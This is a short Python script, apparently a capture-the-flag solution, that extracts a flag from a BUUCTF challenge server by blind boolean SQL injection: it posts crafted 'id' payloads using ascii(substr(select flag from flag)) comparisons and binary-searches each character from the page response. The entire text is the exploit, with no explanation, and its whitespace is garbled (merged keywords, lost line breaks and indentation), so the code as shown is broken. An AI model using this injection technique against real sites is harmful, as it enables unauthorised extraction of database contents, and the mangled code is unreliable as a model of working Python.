import requests
url ="http://37264524-68ca-4248-9566-848debbbf6fd.node3.buuoj.cn/index.php"
payload ={"id":""}
result =""for i inrange(1,50):
l =33
r =130
mid =(l+r)>>1while(l<r):
payload["id"]="0^"+"(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)if"Hello"in html.text:
l = mid+1else:
r = mid
mid =(l+r)>>1if(chr(mid)==" "):break
result = result +chr(mid)print(result)print("flag: ",result)